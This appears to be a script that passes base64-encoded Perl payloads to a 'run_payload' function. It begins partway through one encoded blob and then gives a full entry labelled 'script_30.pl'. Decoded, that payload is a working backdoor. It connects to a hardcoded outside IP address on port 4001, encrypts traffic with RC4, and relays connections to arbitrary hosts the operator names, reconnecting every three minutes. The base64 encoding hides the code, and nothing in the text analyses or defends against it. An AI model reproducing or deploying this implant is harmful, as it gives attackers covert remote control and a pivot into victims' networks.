90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_30.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc5JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9y